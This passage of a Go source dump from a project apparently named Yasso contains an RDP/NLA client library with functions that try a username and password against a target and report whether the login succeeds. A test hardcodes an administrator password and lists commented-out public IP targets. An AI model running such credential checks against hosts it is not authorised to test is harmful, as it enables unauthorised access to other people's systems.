| 39 | func UnicodeDecode(p []byte) string { 40 | b := make([]byte, 2) 41 | n := make([]uint16, 0, len(p)/2) 42 | for i, v := range p { 43 | if i%2 == 0 { 44 | b[0] = v 45 | } else { 46 | b[1] = v 47 | a := binary.LittleEndian.Uint16(b) 48 | n = append(n, a) 49 | } 50 | } 51 | return string(utf16.Decode(n)) 52 | } 53 | -------------------------------------------------------------------------------- /pkg/grdp/emission/emitter.go: -------------------------------------------------------------------------------- 1 | // Package emission provides an event emitter. 2 | // copy form https://raw.githubusercontent.com/chuckpreslar/emission/master/emitter.go 3 | // fix issue with nest once 4 | 5 | package emission 6 | 7 | import ( 8 | "errors" 9 | "fmt" 10 | "os" 11 | "reflect" 12 | "sync" 13 | ) 14 | 15 | // Default number of maximum listeners for an event. 16 | const DefaultMaxListeners = 10 17 | 18 | // Error presented when an invalid argument is provided as a listener function 19 | var ErrNoneFunction = errors.New("Kind of Value for listener is not Func.") 20 | 21 | // RecoveryListener ... 22 | type RecoveryListener func(interface{}, interface{}, error) 23 | 24 | // Emitter ... 25 | type Emitter struct { 26 | // Mutex to prevent race conditions within the Emitter. 27 | *sync.Mutex 28 | // Map of event to a slice of listener function's reflect Values. 29 | events map[interface{}][]reflect.Value 30 | // Optional RecoveryListener to call when a panic occurs. 31 | recoverer RecoveryListener 32 | // Maximum listeners for debugging potential memory leaks. 33 | maxListeners int 34 | 35 | // Map of event to a slice of listener function's reflect Values. 36 | onces map[interface{}][]reflect.Value 37 | } 38 | 39 | // AddListener appends the listener argument to the event arguments slice 40 | // in the Emitter's events map. If the number of listeners for an event 41 | // is greater than the Emitter's maximum listeners then a warning is printed. 42 | // If the relect Value of the listener does not have a Kind of Func then 43 | // AddListener panics. If a RecoveryListener has been set then it is called 44 | // recovering from the panic. 45 | func (emitter *Emitter) AddListener(event, listener interface{}) *Emitter { 46 | emitter.Lock() 47 | defer emitter.Unlock() 48 | 49 | fn := reflect.ValueOf(listener) 50 | 51 | if reflect.Func != fn.Kind() { 52 | if nil == emitter.recoverer { 53 | panic(ErrNoneFunction) 54 | } else { 55 | emitter.recoverer(event, listener, ErrNoneFunction) 56 | } 57 | } 58 | 59 | if emitter.maxListeners != -1 && emitter.maxListeners < len(emitter.events[event])+1 { 60 | fmt.Fprintf(os.Stdout, "Warning: event `%v` has exceeded the maximum "+ 61 | "number of listeners of %d.\n", event, emitter.maxListeners) 62 | } 63 | 64 | emitter.events[event] = append(emitter.events[event], fn) 65 | 66 | return emitter 67 | } 68 | 69 | // On is an alias for AddListener. 70 | func (emitter *Emitter) On(event, listener interface{}) *Emitter { 71 | return emitter.AddListener(event, listener) 72 | } 73 | 74 | // RemoveListener removes the listener argument from the event arguments slice 75 | // in the Emitter's events map. If the reflect Value of the listener does not 76 | // have a Kind of Func then RemoveListener panics. If a RecoveryListener has 77 | // been set then it is called after recovering from the panic. 78 | func (emitter *Emitter) RemoveListener(event, listener interface{}) *Emitter { 79 | emitter.Lock() 80 | defer emitter.Unlock() 81 | 82 | fn := reflect.ValueOf(listener) 83 | 84 | if reflect.Func != fn.Kind() { 85 | if nil == emitter.recoverer { 86 | panic(ErrNoneFunction) 87 | } else { 88 | emitter.recoverer(event, listener, ErrNoneFunction) 89 | } 90 | } 91 | 92 | if events, ok := emitter.events[event]; ok { 93 | newEvents := []reflect.Value{} 94 | 95 | for _, listener := range events { 96 | if fn.Pointer() != listener.Pointer() { 97 | newEvents = append(newEvents, listener) 98 | } 99 | } 100 | 101 | emitter.events[event] = newEvents 102 | } 103 | 104 | if events, ok := emitter.onces[event]; ok { 105 | newEvents := []reflect.Value{} 106 | 107 | for _, listener := range events { 108 | if fn.Pointer() != listener.Pointer() { 109 | newEvents = append(newEvents, listener) 110 | } 111 | } 112 | 113 | emitter.onces[event] = newEvents 114 | } 115 | 116 | return emitter 117 | } 118 | 119 | // Off is an alias for RemoveListener. 120 | func (emitter *Emitter) Off(event, listener interface{}) *Emitter { 121 | return emitter.RemoveListener(event, listener) 122 | } 123 | 124 | // Once generates a new function which invokes the supplied listener 125 | // only once before removing itself from the event's listener slice 126 | // in the Emitter's events map. If the reflect Value of the listener 127 | // does not have a Kind of Func then Once panics. If a RecoveryListener 128 | // has been set then it is called after recovering from the panic. 129 | func (emitter *Emitter) Once(event, listener interface{}) *Emitter { 130 | emitter.Lock() 131 | defer emitter.Unlock() 132 | 133 | fn := reflect.ValueOf(listener) 134 | 135 | if reflect.Func != fn.Kind() { 136 | if nil == emitter.recoverer { 137 | panic(ErrNoneFunction) 138 | } else { 139 | emitter.recoverer(event, listener, ErrNoneFunction) 140 | } 141 | } 142 | 143 | if emitter.maxListeners != -1 && emitter.maxListeners < len(emitter.onces[event])+1 { 144 | fmt.Fprintf(os.Stdout, "Warning: event `%v` has exceeded the maximum "+ 145 | "number of listeners of %d.\n", event, emitter.maxListeners) 146 | } 147 | 148 | emitter.onces[event] = append(emitter.onces[event], fn) 149 | return emitter 150 | } 151 | 152 | // Emit attempts to use the reflect package to Call each listener stored 153 | // in the Emitter's events map with the supplied arguments. Each listener 154 | // is called within its own go routine. The reflect package will panic if 155 | // the agruments supplied do not align the parameters of a listener function. 156 | // If a RecoveryListener has been set then it is called after recovering from 157 | // the panic. 158 | func (emitter *Emitter) Emit(event interface{}, arguments ...interface{}) *Emitter { 159 | var ( 160 | listeners []reflect.Value 161 | ok bool 162 | ) 163 | 164 | // Lock the mutex when reading from the Emitter's 165 | // events map. 166 | emitter.Lock() 167 | 168 | if listeners, ok = emitter.events[event]; !ok { 169 | // If the Emitter does not include the event in its 170 | // event map, it has no listeners to Call yet. 171 | emitter.Unlock() 172 | goto ONCES 173 | } 174 | 175 | // Unlock the mutex immediately following the read 176 | // instead of deferring so that listeners registered 177 | // with Once can aquire the mutex for removal. 178 | emitter.Unlock() 179 | emitter.callListeners(listeners, event, arguments...) 180 | 181 | ONCES: 182 | // execute onces 183 | emitter.Lock() 184 | if listeners, ok = emitter.onces[event]; !ok { 185 | emitter.Unlock() 186 | return emitter 187 | } 188 | emitter.Unlock() 189 | emitter.callListeners(listeners, event, arguments...) 190 | // clear executed listeners 191 | emitter.onces[event] = emitter.onces[event][len(listeners):] 192 | return emitter 193 | } 194 | 195 | func (emitter *Emitter) callListeners(listeners []reflect.Value, event interface{}, arguments ...interface{}) { 196 | var wg sync.WaitGroup 197 | 198 | wg.Add(len(listeners)) 199 | 200 | for _, fn := range listeners { 201 | go func(fn reflect.Value) { 202 | defer wg.Done() 203 | 204 | // Recover from potential panics, supplying them to a 205 | // RecoveryListener if one has been set, else allowing 206 | // the panic to occur. 207 | if nil != emitter.recoverer { 208 | defer func() { 209 | if r := recover(); nil != r { 210 | err := fmt.Errorf("%v", r) 211 | emitter.recoverer(event, fn.Interface(), err) 212 | } 213 | }() 214 | } 215 | 216 | var values []reflect.Value 217 | 218 | for i := 0; i < len(arguments); i++ { 219 | if arguments[i] == nil { 220 | values = append(values, reflect.New(fn.Type().In(i)).Elem()) 221 | } else { 222 | values = append(values, reflect.ValueOf(arguments[i])) 223 | } 224 | } 225 | 226 | fn.Call(values) 227 | }(fn) 228 | } 229 | 230 | wg.Wait() 231 | } 232 | 233 | // RecoverWith sets the listener to call when a panic occurs, recovering from 234 | // panics and attempting to keep the application from crashing. 235 | func (emitter *Emitter) RecoverWith(listener RecoveryListener) *Emitter { 236 | emitter.recoverer = listener 237 | return emitter 238 | } 239 | 240 | // SetMaxListeners sets the maximum number of listeners per 241 | // event for the Emitter. If -1 is passed as the maximum, 242 | // all events may have unlimited listeners. By default, each 243 | // event can have a maximum number of 10 listeners which is 244 | // useful for finding memory leaks. 245 | func (emitter *Emitter) SetMaxListeners(max int) *Emitter { 246 | emitter.Lock() 247 | defer emitter.Unlock() 248 | 249 | emitter.maxListeners = max 250 | return emitter 251 | } 252 | 253 | // GetListenerCount gets count of listeners for a given event. 254 | func (emitter *Emitter) GetListenerCount(event interface{}) (count int) { 255 | emitter.Lock() 256 | if listeners, ok := emitter.events[event]; ok { 257 | count = len(listeners) 258 | } 259 | emitter.Unlock() 260 | return 261 | } 262 | 263 | // NewEmitter returns a new Emitter object, defaulting the 264 | // number of maximum listeners per event to the DefaultMaxListeners 265 | // constant and initializing its events map. 266 | func NewEmitter() (emitter *Emitter) { 267 | emitter = new(Emitter) 268 | emitter.Mutex = new(sync.Mutex) 269 | emitter.events = make(map[interface{}][]reflect.Value) 270 | emitter.maxListeners = DefaultMaxListeners 271 | emitter.onces = make(map[interface{}][]reflect.Value) 272 | return 273 | } 274 | -------------------------------------------------------------------------------- /pkg/grdp/glog/log.go: -------------------------------------------------------------------------------- 1 | package glog 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "sync" 7 | ) 8 | 9 | func init() { 10 | 11 | } 12 | 13 | var ( 14 | logger *log.Logger 15 | level LEVEL 16 | mu sync.Mutex 17 | ) 18 | 19 | type LEVEL int 20 | 21 | const ( 22 | DEBUG LEVEL = iota 23 | INFO 24 | WARN 25 | ERROR 26 | NONE 27 | ) 28 | 29 | func SetLogger(l *log.Logger) { 30 | l.SetFlags(log.Ldate | log.Ltime | log.Lshortfile) 31 | logger = l 32 | } 33 | 34 | func SetLevel(l LEVEL) { 35 | level = l 36 | } 37 | 38 | func checkLogger() { 39 | if logger == nil && level != NONE { 40 | panic("logger not inited") 41 | } 42 | } 43 | 44 | func Debug(v ...interface{}) { 45 | checkLogger() 46 | if level <= DEBUG { 47 | mu.Lock() 48 | defer mu.Unlock() 49 | logger.SetPrefix("[DEBUG]") 50 | logger.Output(2, fmt.Sprintln(v...)) 51 | } 52 | } 53 | func Debugf(f string, v ...interface{}) { 54 | checkLogger() 55 | if level <= DEBUG { 56 | mu.Lock() 57 | defer mu.Unlock() 58 | logger.SetPrefix("[DEBUG]") 59 | logger.Output(2, fmt.Sprintln(fmt.Sprintf(f, v...))) 60 | } 61 | } 62 | func Info(v ...interface{}) { 63 | checkLogger() 64 | if level <= INFO { 65 | mu.Lock() 66 | defer mu.Unlock() 67 | logger.SetPrefix("[INFO]") 68 | logger.Output(2, fmt.Sprintln(v...)) 69 | } 70 | } 71 | func Infof(f string, v ...interface{}) { 72 | checkLogger() 73 | if level <= INFO { 74 | mu.Lock() 75 | defer mu.Unlock() 76 | logger.SetPrefix("[INFO]") 77 | logger.Output(2, fmt.Sprintln(fmt.Sprintf(f, v...))) 78 | } 79 | } 80 | func Warn(v ...interface{}) { 81 | checkLogger() 82 | if level <= WARN { 83 | mu.Lock() 84 | defer mu.Unlock() 85 | logger.SetPrefix("[WARN]") 86 | logger.Output(2, fmt.Sprintln(v...)) 87 | } 88 | } 89 | 90 | func Error(v ...interface{}) { 91 | checkLogger() 92 | if level <= ERROR { 93 | mu.Lock() 94 | defer mu.Unlock() 95 | logger.SetPrefix("[ERROR]") 96 | logger.Output(2, fmt.Sprintln(v...)) 97 | } 98 | } 99 | func Errorf(f string, v ...interface{}) { 100 | checkLogger() 101 | if level <= ERROR { 102 | mu.Lock() 103 | defer mu.Unlock() 104 | logger.SetPrefix("[ERROR]") 105 | logger.Output(2, fmt.Sprintln(fmt.Sprintf(f, v...))) 106 | } 107 | } 108 | -------------------------------------------------------------------------------- /pkg/grdp/grdp.go: -------------------------------------------------------------------------------- 1 | package grdp 2 | 3 | import ( 4 | "errors" 5 | "fmt" 6 | "log" 7 | "net" 8 | "os" 9 | "sync" 10 | "time" 11 | 12 | "Yasso/pkg/grdp/core" 13 | "Yasso/pkg/grdp/glog" 14 | "Yasso/pkg/grdp/protocol/nla" 15 | "Yasso/pkg/grdp/protocol/pdu" 16 | "Yasso/pkg/grdp/protocol/rfb" 17 | "Yasso/pkg/grdp/protocol/sec" 18 | "Yasso/pkg/grdp/protocol/t125" 19 | "Yasso/pkg/grdp/protocol/tpkt" 20 | "Yasso/pkg/grdp/protocol/x224" 21 | ) 22 | 23 | const ( 24 | PROTOCOL_RDP = "PROTOCOL_RDP" 25 | PROTOCOL_SSL = "PROTOCOL_SSL" 26 | ) 27 | 28 | type Client struct { 29 | Host string // ip:port 30 | tpkt *tpkt.TPKT 31 | x224 *x224.X224 32 | mcs *t125.MCSClient 33 | sec *sec.Client 34 | pdu *pdu.Client 35 | vnc *rfb.RFB 36 | } 37 | 38 | func NewClient(host string, logLevel glog.LEVEL) *Client { 39 | glog.SetLevel(logLevel) 40 | logger := log.New(os.Stdout, "", 0) 41 | glog.SetLogger(logger) 42 | return &Client{ 43 | Host: host, 44 | } 45 | } 46 | 47 | func (g *Client) LoginForSSL(domain, user, pwd string) error { 48 | conn, err := net.DialTimeout("tcp", g.Host, 3*time.Second) 49 | if err != nil { 50 | return fmt.Errorf("[dial err] %v", err) 51 | } 52 | defer conn.Close() 53 | glog.Info(conn.LocalAddr().String()) 54 | 55 | g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd)) 56 | g.x224 = x224.New(g.tpkt) 57 | g.mcs = t125.NewMCSClient(g.x224) 58 | g.sec = sec.NewClient(g.mcs) 59 | g.pdu = pdu.NewClient(g.sec) 60 | 61 | g.sec.SetUser(user) 62 | g.sec.SetPwd(pwd) 63 | g.sec.SetDomain(domain) 64 | 65 | g.tpkt.SetFastPathListener(g.sec) 66 | g.sec.SetFastPathListener(g.pdu) 67 | g.pdu.SetFastPathSender(g.tpkt) 68 | 69 | err = g.x224.Connect() 70 | if err != nil { 71 | return fmt.Errorf("[x224 connect err] %v", err) 72 | } 73 | glog.Info("wait connect ok") 74 | wg := &sync.WaitGroup{} 75 | breakFlag := false 76 | wg.Add(1) 77 | 78 | g.pdu.On("error", func(e error) { 79 | err = e 80 | glog.Error("error", e) 81 | g.pdu.Emit("done") 82 | }) 83 | g.pdu.On("close", func() { 84 | err = errors.New("close") 85 | glog.Info("on close") 86 | g.pdu.Emit("done") 87 | }) 88 | g.pdu.On("success", func() { 89 | err = nil 90 | glog.Info("on success") 91 | g.pdu.Emit("done") 92 | }) 93 | g.pdu.On("ready", func() { 94 | glog.Info("on ready") 95 | g.pdu.Emit("done") 96 | }) 97 | g.pdu.On("update", func(rectangles []pdu.BitmapData) { 98 | glog.Info("on update:", rectangles) 99 | }) 100 | g.pdu.On("done", func() { 101 | if breakFlag == false { 102 | breakFlag = true 103 | wg.Done() 104 | } 105 | }) 106 | wg.Wait() 107 | return err 108 | } 109 | 110 | func (g *Client) LoginForRDP(domain, user, pwd string) error { 111 | conn, err := net.DialTimeout("tcp", g.Host, 3*time.Second) 112 | if err != nil { 113 | return fmt.Errorf("[dial err] %v", err) 114 | } 115 | defer conn.Close() 116 | glog.Info(conn.LocalAddr().String()) 117 | 118 | g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd)) 119 | g.x224 = x224.New(g.tpkt) 120 | g.mcs = t125.NewMCSClient(g.x224) 121 | g.sec = sec.NewClient(g.mcs) 122 | g.pdu = pdu.NewClient(g.sec) 123 | 124 | g.sec.SetUser(user) 125 | g.sec.SetPwd(pwd) 126 | g.sec.SetDomain(domain) 127 | 128 | g.tpkt.SetFastPathListener(g.sec) 129 | g.sec.SetFastPathListener(g.pdu) 130 | g.pdu.SetFastPathSender(g.tpkt) 131 | 132 | g.x224.SetRequestedProtocol(x224.PROTOCOL_RDP) 133 | 134 | err = g.x224.Connect() 135 | if err != nil { 136 | return fmt.Errorf("[x224 connect err] %v", err) 137 | } 138 | glog.Info("wait connect ok") 139 | wg := &sync.WaitGroup{} 140 | breakFlag := false 141 | updateCount := 0 142 | wg.Add(1) 143 | 144 | g.pdu.On("error", func(e error) { 145 | err = e 146 | glog.Error("error", e) 147 | g.pdu.Emit("done") 148 | }) 149 | g.pdu.On("close", func() { 150 | err = errors.New("close") 151 | glog.Info("on close") 152 | g.pdu.Emit("done") 153 | }) 154 | g.pdu.On("success", func() { 155 | err = nil 156 | glog.Info("on success") 157 | g.pdu.Emit("done") 158 | }) 159 | g.pdu.On("ready", func() { 160 | glog.Info("on ready") 161 | }) 162 | g.pdu.On("update", func(rectangles []pdu.BitmapData) { 163 | glog.Info("on update:", rectangles) 164 | updateCount += 1 165 | //fmt.Println(updateCount," ",rectangles[0].BitmapLength) 166 | }) 167 | g.pdu.On("done", func() { 168 | if breakFlag == false { 169 | breakFlag = true 170 | wg.Done() 171 | } 172 | }) 173 | 174 | //wait 2 Second 175 | time.Sleep(time.Second * 3) 176 | if breakFlag == false { 177 | breakFlag = true 178 | wg.Done() 179 | } 180 | wg.Wait() 181 | 182 | if updateCount > 50 { 183 | return nil 184 | } 185 | err = errors.New("login failed") 186 | return err 187 | } 188 | 189 | func Login(target, domain, username, password string) error { 190 | var err error 191 | g := NewClient(target, glog.NONE) 192 | //SSL协议登录测试 193 | err = g.LoginForSSL(domain, username, password) 194 | if err == nil { 195 | return nil 196 | } 197 | if err.Error() != PROTOCOL_RDP { 198 | return err 199 | } 200 | //RDP协议登录测试 201 | err = g.LoginForRDP(domain, username, password) 202 | if err == nil { 203 | return nil 204 | } else { 205 | return err 206 | } 207 | } 208 | 209 | func LoginForSSL(target, domain, username, password string) error { 210 | var err error 211 | g := NewClient(target, glog.NONE) 212 | //SSL协议登录测试 213 | err = g.LoginForSSL(domain, username, password) 214 | if err == nil { 215 | return nil 216 | } 217 | return err 218 | } 219 | 220 | func LoginForRDP(target, domain, username, password string) error { 221 | var err error 222 | g := NewClient(target, glog.NONE) 223 | //SSL协议登录测试 224 | err = g.LoginForRDP(domain, username, password) 225 | if err == nil { 226 | return nil 227 | } 228 | return err 229 | } 230 | 231 | func VerifyProtocol(target string) string { 232 | var err error 233 | err = LoginForSSL(target, "", "administrator", "test") 234 | if err == nil { 235 | return PROTOCOL_SSL 236 | } 237 | if err.Error() != PROTOCOL_RDP { 238 | return PROTOCOL_SSL 239 | } 240 | return PROTOCOL_RDP 241 | } 242 | -------------------------------------------------------------------------------- /pkg/grdp/grdp_test.go: -------------------------------------------------------------------------------- 1 | package grdp 2 | 3 | import ( 4 | "Yasso/pkg/grdp/glog" 5 | "fmt" 6 | "testing" 7 | ) 8 | 9 | func testrdp(target string) { 10 | domain := "" 11 | username := "administrator" 12 | password := "930517" 13 | //target = "180.102.17.30:3389" 14 | var err error 15 | g := NewClient(target, glog.NONE) 16 | //SSL协议登录测试 17 | err = g.LoginForSSL(domain, username, password) 18 | if err == nil { 19 | fmt.Println("Login Success") 20 | return 21 | } 22 | if err.Error() != "PROTOCOL_RDP" { 23 | fmt.Println("Login Error:", err) 24 | return 25 | } 26 | //RDP协议登录测试 27 | err = g.LoginForRDP(domain, username, password) 28 | if err == nil { 29 | fmt.Println("Login Success") 30 | return 31 | } else { 32 | fmt.Println("Login Error:", err) 33 | return 34 | } 35 | } 36 | 37 | func TestName(t *testing.T) { 38 | targetArr := []string{ 39 | //"50.57.49.172:3389", 40 | //"20.49.22.250:3389", 41 | "192.168.248.199:3389", 42 | } 43 | for _, target := range targetArr { 44 | fmt.Println(target) 45 | testrdp(target) 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /pkg/grdp/protocol/lic/lic.go: -------------------------------------------------------------------------------- 1 | package lic 2 | 3 | import ( 4 | "io" 5 | 6 | "Yasso/pkg/grdp/core" 7 | ) 8 | 9 | const ( 10 | LICENSE_REQUEST = 0x01 11 | PLATFORM_CHALLENGE = 0x02 12 | NEW_LICENSE = 0x03 13 | UPGRADE_LICENSE = 0x04 14 | LICENSE_INFO = 0x12 15 | NEW_LICENSE_REQUEST = 0x13 16 | PLATFORM_CHALLENGE_RESPONSE = 0x15 17 | ERROR_ALERT = 0xFF 18 | ) 19 | 20 | // error code 21 | const ( 22 | ERR_INVALID_SERVER_CERTIFICATE = 0x00000001 23 | ERR_NO_LICENSE = 0x00000002 24 | ERR_INVALID_SCOPE = 0x00000004 25 | ERR_NO_LICENSE_SERVER = 0x00000006 26 | STATUS_VALID_CLIENT = 0x00000007 27 | ERR_INVALID_CLIENT = 0x00000008 28 | ERR_INVALID_PRODUCTID = 0x0000000B 29 | ERR_INVALID_MESSAGE_LEN = 0x0000000C 30 | ERR_INVALID_MAC = 0x00000003 31 | ) 32 | 33 | // state transition 34 | const ( 35 | ST_TOTAL_ABORT = 0x00000001 36 | ST_NO_TRANSITION = 0x00000002 37 | ST_RESET_PHASE_TO_START = 0x00000003 38 | ST_RESEND_LAST_MESSAGE = 0x00000004 39 | ) 40 | 41 | /* 42 | """ 43 | @summary: Binary blob data type 44 | @see: http://msdn.microsoft.com/en-us/library/cc240481.aspx 45 | """ 46 | */ 47 | type BinaryBlobType uint16 48 | 49 | const ( 50 | BB_ANY_BLOB = 0x0000 51 | BB_DATA_BLOB = 0x0001 52 | BB_RANDOM_BLOB = 0x0002 53 | BB_CERTIFICATE_BLOB = 0x0003 54 | BB_ERROR_BLOB = 0x0004 55 | BB_ENCRYPTED_DATA_BLOB = 0x0009 56 | BB_KEY_EXCHG_ALG_BLOB = 0x000D 57 | BB_SCOPE_BLOB = 0x000E 58 | BB_CLIENT_USER_NAME_BLOB = 0x000F 59 | BB_CLIENT_MACHINE_NAME_BLOB = 0x0010 60 | ) 61 | 62 | type ErrorMessage struct { 63 | DwErrorCode uint32 64 | DwStateTransaction uint32 65 | Blob []byte 66 | } 67 | 68 | func readErrorMessage(r io.Reader) *ErrorMessage { 69 | m := &ErrorMessage{} 70 | m.DwErrorCode, _ = core.ReadUInt32LE(r) 71 | m.DwStateTransaction, _ = core.ReadUInt32LE(r) 72 | return m 73 | } 74 | 75 | type LicensePacket struct { 76 | BMsgtype uint8 77 | Flag uint8 78 | WMsgSize uint16 79 | LicensingMessage interface{} 80 | } 81 | 82 | func ReadLicensePacket(r io.Reader) *LicensePacket { 83 | l := &LicensePacket{} 84 | l.BMsgtype, _ = core.ReadUInt8(r) 85 | l.Flag, _ = core.ReadUInt8(r) 86 | l.WMsgSize, _ = core.ReadUint16LE(r) 87 | 88 | switch l.BMsgtype { 89 | case ERROR_ALERT: 90 | l.LicensingMessage = readErrorMessage(r) 91 | default: 92 | l.LicensingMessage, _ = core.ReadBytes(int(l.WMsgSize-4), r) 93 | } 94 | 95 | return l 96 | } 97 | 98 | /* 99 | """ 100 | @summary: Blob use by license manager to exchange security data 101 | @see: http://msdn.microsoft.com/en-us/library/cc240481.aspx 102 | """ 103 | */ 104 | type LicenseBinaryBlob struct { 105 | WBlobType uint16 `struc:"little"` 106 | WBlobLen uint16 `struc:"little"` 107 | BlobData []byte `struc:"sizefrom=WBlobLen"` 108 | } 109 | 110 | func NewLicenseBinaryBlob(WBlobType uint16) *LicenseBinaryBlob { 111 | return &LicenseBinaryBlob{} 112 | } 113 | 114 | /* 115 | """ 116 | @summary: License server product information 117 | @see: http://msdn.microsoft.com/en-us/library/cc241915.aspx 118 | """ 119 | */ 120 | type ProductInformation struct { 121 | DwVersion uint32 `struc:"little"` 122 | CbCompanyName uint32 `struc:"little"` 123 | //may contain "Microsoft Corporation" from server microsoft 124 | PbCompanyName []byte `struc:"sizefrom=CbCompanyName"` 125 | CbProductId uint32 `struc:"little"` 126 | //may contain "A02" from microsoft license server 127 | PbProductId []byte `struc:"sizefrom=CbProductId"` 128 | } 129 | 130 | /* 131 | @summary: Send by server to signal license request 132 | server -> client 133 | @see: http://msdn.microsoft.com/en-us/library/cc241914.aspx 134 | */ 135 | type ServerLicenseRequest struct { 136 | ServerRandom []byte `struc:"[32]byte"` 137 | ProductInfo ProductInformation `struc:"little"` 138 | KeyExchangeList LicenseBinaryBlob `struc:"little"` 139 | ServerCertificate LicenseBinaryBlob `struc:"little"` 140 | //ScopeList ScopeList 141 | } 142 | 143 | /* 144 | @summary: Send by client to ask new license for client. 145 | RDPY doesn'support license reuse, need it in futur version 146 | @see: http://msdn.microsoft.com/en-us/library/cc241918.aspx 147 | #RSA and must be only RSA 148 | #pure microsoft client ;-) 149 | #http://msdn.microsoft.com/en-us/library/1040af38-c733-4fb3-acd1-8db8cc979eda#id10 150 | */ 151 | 152 | type ClientNewLicenseRequest struct { 153 | PreferredKeyExchangeAlg uint32 `struc:"little"` 154 | PlatformId uint32 `struc:"little"` 155 | ClientRandom []byte `struc:"little"` 156 | EncryptedPreMasterSecret LicenseBinaryBlob `struc:"little"` 157 | ClientUserName LicenseBinaryBlob `struc:"little"` 158 | ClientMachineName LicenseBinaryBlob `struc:"little"` 159 | } 160 | 161 | /* 162 | @summary: challenge send from server to client 163 | @see: http://msdn.microsoft.com/en-us/library/cc241921.aspx 164 | */ 165 | type ServerPlatformChallenge struct { 166 | ConnectFlags uint32 167 | EncryptedPlatformChallenge LicenseBinaryBlob 168 | MACData [16]byte 169 | } 170 | 171 | /* 172 | """ 173 | @summary: client challenge response 174 | @see: http://msdn.microsoft.com/en-us/library/cc241922.aspx 175 | """ 176 | */ 177 | type ClientPLatformChallengeResponse struct { 178 | EncryptedPlatformChallengeResponse LicenseBinaryBlob 179 | EncryptedHWID LicenseBinaryBlob 180 | MACData []byte //[16]byte 181 | } 182 | -------------------------------------------------------------------------------- /pkg/grdp/protocol/nla/cssp.go: -------------------------------------------------------------------------------- 1 | package nla 2 | 3 | import ( 4 | "encoding/asn1" 5 | 6 | "Yasso/pkg/grdp/glog" 7 | ) 8 | 9 | type NegoToken struct { 10 | Data []byte `asn1:"explicit,tag:0"` 11 | } 12 | 13 | type TSRequest struct { 14 | Version int `asn1:"explicit,tag:0"` 15 | NegoTokens []NegoToken `asn1:"optional,explicit,tag:1"` 16 | AuthInfo []byte `asn1:"optional,explicit,tag:2"` 17 | PubKeyAuth []byte `asn1:"optional,explicit,tag:3"` 18 | //ErrorCode int `asn1:"optional,explicit,tag:4"` 19 | } 20 | 21 | type TSCredentials struct { 22 | CredType int `asn1:"explicit,tag:0"` 23 | Credentials []byte `asn1:"explicit,tag:1"` 24 | } 25 | 26 | type TSPasswordCreds struct { 27 | DomainName []byte `asn1:"explicit,tag:0"` 28 | UserName []byte `asn1:"explicit,tag:1"` 29 | Password []byte `asn1:"explicit,tag:2"` 30 | } 31 | 32 | type TSCspDataDetail struct { 33 | KeySpec int `asn1:"explicit,tag:0"` 34 | CardName string `asn1:"explicit,tag:1"` 35 | ReaderName string `asn1:"explicit,tag:2"` 36 | ContainerName string `asn1:"explicit,tag:3"` 37 | CspName string `asn1:"explicit,tag:4"` 38 | } 39 | 40 | type TSSmartCardCreds struct { 41 | Pin string `asn1:"explicit,tag:0"` 42 | CspData []TSCspDataDetail `asn1:"explicit,tag:1"` 43 | UserHint string `asn1:"explicit,tag:2"` 44 | DomainHint string `asn1:"explicit,tag:3"` 45 | } 46 | 47 | func EncodeDERTRequest(msgs []Message, authInfo []byte, pubKeyAuth []byte) []byte { 48 | req := TSRequest{ 49 | Version: 2, 50 | } 51 | 52 | if len(msgs) > 0 { 53 | req.NegoTokens = make([]NegoToken, 0, len(msgs)) 54 | } 55 | 56 | for _, msg := range msgs { 57 | token := NegoToken{msg.Serialize()} 58 | req.NegoTokens = append(req.NegoTokens, token) 59 | } 60 | 61 | if len(authInfo) > 0 { 62 | req.AuthInfo = authInfo 63 | } 64 | 65 | if len(pubKeyAuth) > 0 { 66 | req.PubKeyAuth = pubKeyAuth 67 | } 68 | 69 | result, err := asn1.Marshal(req) 70 | if err != nil { 71 | glog.Error(err) 72 | } 73 | return result 74 | } 75 | 76 | func DecodeDERTRequest(s []byte) (*TSRequest, error) { 77 | treq := &TSRequest{} 78 | _, err := asn1.Unmarshal(s, treq) 79 | return treq, err 80 | } 81 | func EncodeDERTCredentials(domain, username, password []byte) []byte { 82 | tpas := TSPasswordCreds{domain, username, password} 83 | result, err := asn1.Marshal(tpas) 84 | if err != nil { 85 | glog.Error(err) 86 | } 87 | tcre := TSCredentials{1, result} 88 | result, err = asn1.Marshal(tcre) 89 | if err != nil { 90 | glog.Error(err) 91 | } 92 | return result 93 | } 94 | 95 | func DecodeDERTCredentials(s []byte) (*TSCredentials, error) { 96 | tcre := &TSCredentials{} 97 | _, err := asn1.Unmarshal(s, tcre) 98 | return tcre, err 99 | } 100 | -------------------------------------------------------------------------------- /pkg/grdp/protocol/nla/encode.go: -------------------------------------------------------------------------------- 1 | package nla 2 | 3 | import ( 4 | "crypto/hmac" 5 | "crypto/md5" 6 | "crypto/rc4" 7 | "strings" 8 | 9 | "Yasso/pkg/grdp/core" 10 | "golang.org/x/crypto/md4" 11 | ) 12 | 13 | func MD4(data []byte) []byte { 14 | h := md4.New() 15 | h.Write(data) 16 | return h.Sum(nil) 17 | } 18 | 19 | func MD5(data []byte) []byte { 20 | h := md5.New() 21 | h.Write(data) 22 | return h.Sum(nil) 23 | } 24 | 25 | func HMAC_MD5(key, data []byte) []byte { 26 | h := hmac.New(md5.New, key) 27 | h.Write(data) 28 | return h.Sum(nil) 29 | } 30 | 31 | // Version 2 of NTLM hash function 32 | func NTOWFv2(password, user, domain string) []byte { 33 | return HMAC_MD5(MD4(core.UnicodeEncode(password)), core.UnicodeEncode(strings.ToUpper(user)+domain)) 34 | } 35 | 36 | // Same as NTOWFv2 37 | func LMOWFv2(password, user, domain string) []byte { 38 | return NTOWFv2(password, user, domain) 39 | } 40 | 41 | func RC4K(key, src []byte) []byte { 42 | result := make([]byte, len(src)) 43 | rc4obj, _ := rc4.NewCipher(key) 44 | rc4obj.XORKeyStream(result, src) 45 | return result 46 | } 47 | -------------------------------------------------------------------------------- /pkg/grdp/protocol/nla/encode_test.go: -------------------------------------------------------------------------------- 1 | package nla_test 2 | 3 | import ( 4 | "encoding/hex" 5 | "testing" 6 | 7 | "Yasso/pkg/grdp/protocol/nla" 8 | ) 9 | 10 | func TestNTOWFv2(t *testing.T) { 11 | res := hex.EncodeToString(nla.NTOWFv2("", "", "")) 12 | expected := "f4c1a15dd59d4da9bd595599220d971a" 13 | if res != 